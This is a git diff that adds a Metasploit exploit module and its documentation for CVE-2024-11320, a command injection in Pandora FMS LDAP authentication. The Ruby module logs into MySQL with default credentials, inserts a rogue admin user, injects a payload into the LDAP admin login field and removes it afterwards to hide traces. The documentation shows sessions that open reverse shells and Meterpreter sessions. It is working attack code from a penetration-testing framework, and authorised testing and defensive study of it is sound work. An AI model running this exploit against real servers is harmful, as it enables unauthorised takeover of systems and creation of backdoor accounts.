diff --git a/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md new file mode 100644 index 0000000000..62090f3595 --- /dev/null +++ b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md @@ -0,0 +1,210 @@ +## Vulnerable Application +Pandora FMS is a monitoring solution that provides full observability for your organization's technology. +This module exploits an command injection vulnerability in the LDAP authentication mechanism of Pandora FMS. +You need have admin access at the Pandora FMS Web application in order to execute this RCE. +This access can be achieved leveraging a default password vulnerability in Pandora FMS that allows an attacker +to access the Pandora FMS MySQL database, create a new admin user and gain administrative access to the +Pandora FMS Web application. +This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world. +This issue affects Community, Free and Enterprise editions: from `v7.0NG.718` through <= `v7.0NG.777.4` + +The following releases were tested. + +**Pandora FMS Releases:** +* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04) +* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04) + +## Installation steps to install Pandora FMS Community, Free or Enterprise Editions +* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform. +* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/). +* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/). +* Install the iso image in your virtualization engine. +* When installed, configure the VM appliance to your needs using the menu options. +* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22` +* or via the `webui` via `http://your_ip/pandora_console/index.php`. + +* Note: from version `v7.0NG.760` follow the installation manual below: +* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing). + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_11320` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set lhost ` +- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>` +- [ ] `exploit` +- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings + +## Options + +### USERNAME +This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application. + +### PASSWORD +This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application. + +### DB_USER +This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database. + +### DB_PASSWORD +This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database. +Note: In older versions, this password is set to `pandora` during installation of the application. + +### DB_PORT +This option is required and is the MySQL database port (default: 3306) to connect to the database. + +## Scenarios +```msf +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > info + + Name: Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password + Module: exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320 + Platform: Unix, Linux, PHP + Arch: cmd, php + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2024-11-21 + +Provided by: + h00die-gr3y + Askar mhaskar + +Module side effects: + artifacts-on-disk + ioc-in-logs + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 PHP Command + 1 Unix/Linux Command + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + DB_NAME pandora yes Pandora database + DB_PASSWORD Pandor4! yes Pandora database admin password + DB_PORT 3306 yes MySQL database port + DB_USER pandora yes Pandora database admin user + PASSWORD pandora no Pandora web admin password + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin + g-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /pandora_console yes Path to the Pandora FMS application + USERNAME admin no Pandora web admin user + VHOST no HTTP server virtual host + +Payload information: + +Description: + Pandora FMS is a monitoring solution that provides full observability for your organization's + technology. This module exploits an command injection vulnerability in the LDAP authentication + mechanism of Pandora FMS. + You need have admin access at the Pandora FMS Web application in order to execute this RCE. + This access can be achieved leveraging a default password vulnerability in Pandora FMS that + allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain + administrative access to the Pandora FMS Web application. This attack can be remotely executed + over the WAN as long as the MySQL services are exposed to the outside world. + This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4 + +References: + https://nvd.nist.gov/vuln/detail/CVE-2024-11320 + https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/ + https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320 + +View the full module info with the info -d command. +``` +### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - PHP Command target +Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application +to gain the privileges for the RCE. +```msf +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password xxx +password => xxx +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777 +[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application. +[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server. +[*] Creating new admin user with credentials cnrjq:jeQsinXxfe for access at the Pandora FMS Web application. +[*] Trying to log in with new admin credentials cnrjq:jeQsinXxfe at the Pandora FMS Web application. +[*] Succesfully authenticated at the Pandora FMS Web application. +[*] Saving admin credentials at the msf database. +[*] Executing PHP Command for php/meterpreter/reverse_tcp +[*] Sending stage (40004 bytes) to 192.168.201.6 +[*] Meterpreter session 28 opened (192.168.201.8:4444 -> 192.168.201.6:59242) at 2024-12-22 10:35:05 +0000 +[+] Payload is successful removed from LDAP configuration. + +meterpreter > sysinfo +Computer : cuckoo +OS : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data +meterpreter > pwd +/var/www/html/pandora_console +meterpreter > +``` +### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target +Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application +to gain the privileges for the RCE. +```msf +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set target 1 +target => 1 +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password pandora +password => pandora +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777 +[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application. +[*] Succesfully authenticated at the Pandora FMS Web application. +[*] Saving admin credentials at the msf database. +[*] Executing Unix/Linux Command for cmd/unix/reverse_bash +[*] Command shell session 29 opened (192.168.201.8:4444 -> 192.168.201.6:37616) at 2024-12-22 10:57:58 +0000 +[+] Payload is successful removed from LDAP configuration. + +pwd +/var/www/html/pandora_console +id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +uname -a +Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux +``` + +## Limitations +In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect +to the MySQL database with the default database credentials. +This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`. +You can check this with the SQL command below if you have local access to the database. +``` +SELECT host FROM mysql.user WHERE user = "pandora"; ++-----------+ +| host | ++-----------+ +| 127.0.0.1 | +| localhost | ++-----------+ +``` +In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database. diff --git a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb new file mode 100644 index 0000000000..64c5e00618 --- /dev/null +++ b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb @@ -0,0 +1,365 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/mysql/client' +require 'digest/md5' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include BCrypt + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + # @!attribute [rw] mysql_client + # @return [::Rex::Proto::MySQL::Client] + attr_accessor :mysql_client + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password', + 'Description' => %q{ + Pandora FMS is a monitoring solution that provides full observability for your organization's + technology. This module exploits an command injection vulnerability in the LDAP authentication + mechanism of Pandora FMS. + You need have admin access at the Pandora FMS Web application in order to execute this RCE. + This access can be achieved leveraging a default password vulnerability in Pandora FMS that + allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain + administrative access to the Pandora FMS Web application. This attack can be remotely executed + over the WAN as long as the MySQL services are exposed to the outside world. + This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4 + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module & default password weakness + 'Askar mhaskar', # POC Github CVE-2024-11320 + ], + 'References' => [ + ['CVE', '2024-11320'], + ['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'], + ['URL', 'https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux', 'php'], + 'Privileged' => false, + 'Arch' => [ARCH_CMD, ARCH_PHP], + 'Targets' => [ + [ + 'PHP Command', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php_cmd + } + ], + [ + 'Unix/Linux Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-11-21', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to the Pandora FMS application', '/pandora_console']), + OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandora']), + OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'Pandor4!']), + OptString.new('DB_NAME', [true, 'Pandora database', 'pandora']), + OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]), + OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']), + OptString.new('PASSWORD', [false, 'Pandora web admin password', 'pandora']) + ]) + end + + # MySQL login + # returns true if successful else false + def mysql_login(host, user, password, db, port) + begin + self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port) + rescue Errno::ECONNREFUSED + print_error('Connection refused') + return false + rescue ::Rex::Proto::MySQL::Client::ClientError + print_error('Connection timedout') + return false + rescue Errno::ETIMEDOUT + print_error('Operation timedout') + return false + rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged + print_error('Unable to login from this host due to policy') + return false + rescue ::Rex::Proto::MySQL::Client::AccessDeniedError + print_error('Access denied') + return false + rescue StandardError => e + print_error("Unknown error: #{e.message}") + return false + end + true + end + + # MySQL query + # returns query result if successful (can be nil) else returns false + def mysql_query(sql) + begin + res = mysql_client.query(sql) + rescue ::Rex::Proto::MySQL::Client::Error => e + print_error("MySQL Error: #{e.class} #{e}") + return false + rescue Rex::ConnectionTimeout => e + print_error("Timeout: #{e.message}") + return false + rescue StandardError => e + print_error("Unknown error: #{e.message}") + return false + end + res + end + + # login at the Pandora FMS web application + # return true if login successful else false + def pandora_login(name, pwd) + # first login GET request to get csrf code + # in older versions of Pandora FMS this csrf code is not implemented + # but for the sake of simplicity we still execute this GET request + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'login' => 1 + } + }) + return unless res&.code == 200 + + # scrape + html = res.get_html_document + csrf_code_html = html.at('input[@id="hidden-csrf_code"]') + vprint_status("csrf_code: #{csrf_code_html}") + csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank? + + # second login POST request using the csrf code + # csrf_code can be nil in older versions where the csrf_code is not implemented + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'login' => 1 + }, + 'vars_post' => { + 'nick' => name, + 'pass' => pwd, + 'Login_button' => "Let's go", + 'csrf_code' => csrf_code + } + }) + return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode') + end + + # CVE-2024-11320: Misconfigure LDAP with RCE payload + # return true if successful else false + def configure_ldap(payload) + # first LDAP GET request to get the csrf_code + # in older versions of Pandora FMS this csrf code is not implemented + # but for the sake of simplicity we still execute this GET request + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'sec' => 'general', + 'sec2' => 'godmode/setup/setup', + 'section' => 'auth' + } + }) + return unless res&.code == 200 + + # scrape + html = res.get_html_document + csrf_code_html = html.at('input[@id="hidden-csrf_code"]') + vprint_status("csrf_code: #{csrf_code_html}") + csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank? + + # second LDAP POST request using the csrf_code + # csrf_code can be nil in older versions where the csrf_code is not implemented + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'sec' => 'general', + 'sec2' => 'godmode/setup/setup', + 'section' => 'auth' + }, + 'vars_post' => { + 'update_config' => 1, + 'csrf_code' => csrf_code, + 'auth' => 'ldap', + 'fallback_local_auth' => 1, + 'fallback_local_auth_sent' => 1, + 'ldap_server' => 'localhost', + 'ldap_port' => 389, + 'ldap_version' => 3, + 'ldap_start_tls_sent' => 1, + 'ldap_base_dn' => 'ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg', + 'ldap_login_attr' => 'uid', + 'ldap_admin_login' => payload, + 'ldap_admin_pass' => nil, + 'ldap_search_timeout' => 0, + 'secondary_ldap_enabled_sent' => 1, + 'ldap_server_secondary' => 'localhost', + 'ldap_port_secondary' => 389, + 'ldap_version_secondary' => 3, + 'ldap_start_tls_secondary_sent' => 1, + 'ldap_base_dn_secondary' => 'ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg', + 'ldap_login_attr_secondary' => 'uid', + 'ldap_admin_login_secondary' => nil, + 'ldap_admin_pass_secondary' => nil, + 'double_auth_enabled_sent' => 1, + '2FA_all_users_sent' => 1, + 'session_timeout' => 90, + 'update_button' => 'Update', + 'ldap_function' => 'local' + } + }) + return res&.code == 200 + end + + # CVE-2024-11320: Command Injection leading to RCE via LDAP Misconfiguration + def execute_command(cmd, _opts = {}) + # modify php payload to trigger the RCE + payload = "';#{target['Type'] == :php_cmd ? "php -r'#{cmd.gsub(/'/, '"')}'" : cmd} #" + + # misconfigure LDAP settings with RCE payload + # clear cookies and execute dummy login to trigger the LDAP RCE payload + if configure_ldap(payload) + @clean_payload = true + cookie_jar.clear + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'vars_get' => { + 'login' => 1 + } + }) + else + @clean_payload = false + end + end + + def cleanup + # try to remove the payload from the LDAP settings to cover our tracks + # but do not run during the check phase + super + unless @check_running + # Disconnect from MySQL server + mysql_client.close if mysql_client + # check if payload should be removed + if @clean_payload + if pandora_login(@username, @password) && configure_ldap(nil) + print_good('Payload is successful removed from LDAP configuration.') + return + end + print_warning('Payload could not be removed from LDAP configuration. Try to clean it manually.') + end + end + end + + def check + @check_running = true + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true + }) + unless res&.code == 200 && res.body.include?('PandoraFMS.com') || res.body.include?('Pandora FMS') + return CheckCode::Safe('Target is not a Pandora FMS application.') + end + + html = res.get_html_document + full_version = html.at('div[@id="ver_num"]') + if full_version.blank? + return CheckCode::Detected('Could not determine the Pandora FMS version.') + end + + full_version = full_version.text + version = full_version[1..].sub('NG', '') + if version.blank? + return CheckCode::Detected('Could not determine the Pandora FMS version.') + end + + version = Rex::Version.new(version) + unless version >= Rex::Version.new('7.0.718') && version <= Rex::Version.new('7.0.777.4') + return CheckCode::Safe("Pandora FMS version #{full_version}") + end + + CheckCode::Appears("Pandora FMS version #{full_version}") + end + + def exploit + @check_running = false + # check if we can login at the Pandora Web application with the default admin credentials + @username = datastore['USERNAME'] + @password = datastore['PASSWORD'] + print_status("Trying to log in with admin credentials #{@username}:#{@password} at the Pandora FMS Web application.") + unless pandora_login(@username, @password) + # connect to the PostgreSQL DB with default credentials + print_status('Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.') + mysql_login_res = mysql_login(datastore['RHOSTS'], datastore['DB_USER'], datastore['DB_PASSWORD'], datastore['DB_NAME'], datastore['DB_PORT']) + fail_with(Failure::Unreachable, "Unable to connect to the MySQL server on port #{datastore['DB_PORT']}.") unless mysql_login_res + + # add a new admin user + @username = Rex::Text.rand_text_alphanumeric(5..8).downcase + @password = Rex::Text.rand_password + + # check the password hash algorithm by reading the password hash of the admin user + # new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash + mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_user = 'admin';") + fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1 + hash = mysql_query_res.fetch_hash + if hash['password'].match(/^\$2.\$/) + password_hash = Password.create(@password) + else + password_hash = Digest::MD5.hexdigest(@password) + end + print_status("Creating new admin user with credentials #{@username}:#{@password} for access at the Pandora FMS Web application.") + mysql_query_res = mysql_query("INSERT INTO tusuario (id_user, password, is_admin) VALUES (\'#{@username}\', \'#{password_hash}\', '1');") + fail_with(Failure::BadConfig, "Adding new admin credentials #{@username}:#{@password} to the database failed.") if mysql_query_res == false + + # log in with the new admin user credentials at the Pandora FMS Web application + print_status("Trying to log in with new admin credentials #{@username}:#{@password} at the Pandora FMS Web application.") + fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora FMS application.') unless pandora_login(@username, @password) + end + print_status('Succesfully authenticated at the Pandora FMS Web application.') + + # storing credentials at the msf database + print_status('Saving admin credentials at the msf database.') + store_valid_credential(user: @username, private: @password) + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd, :php_cmd + execute_command(payload.encoded) + else + fail_with(Failure::BadConfig, "Unsupported target type: #{target['Type']}.") + end + end +end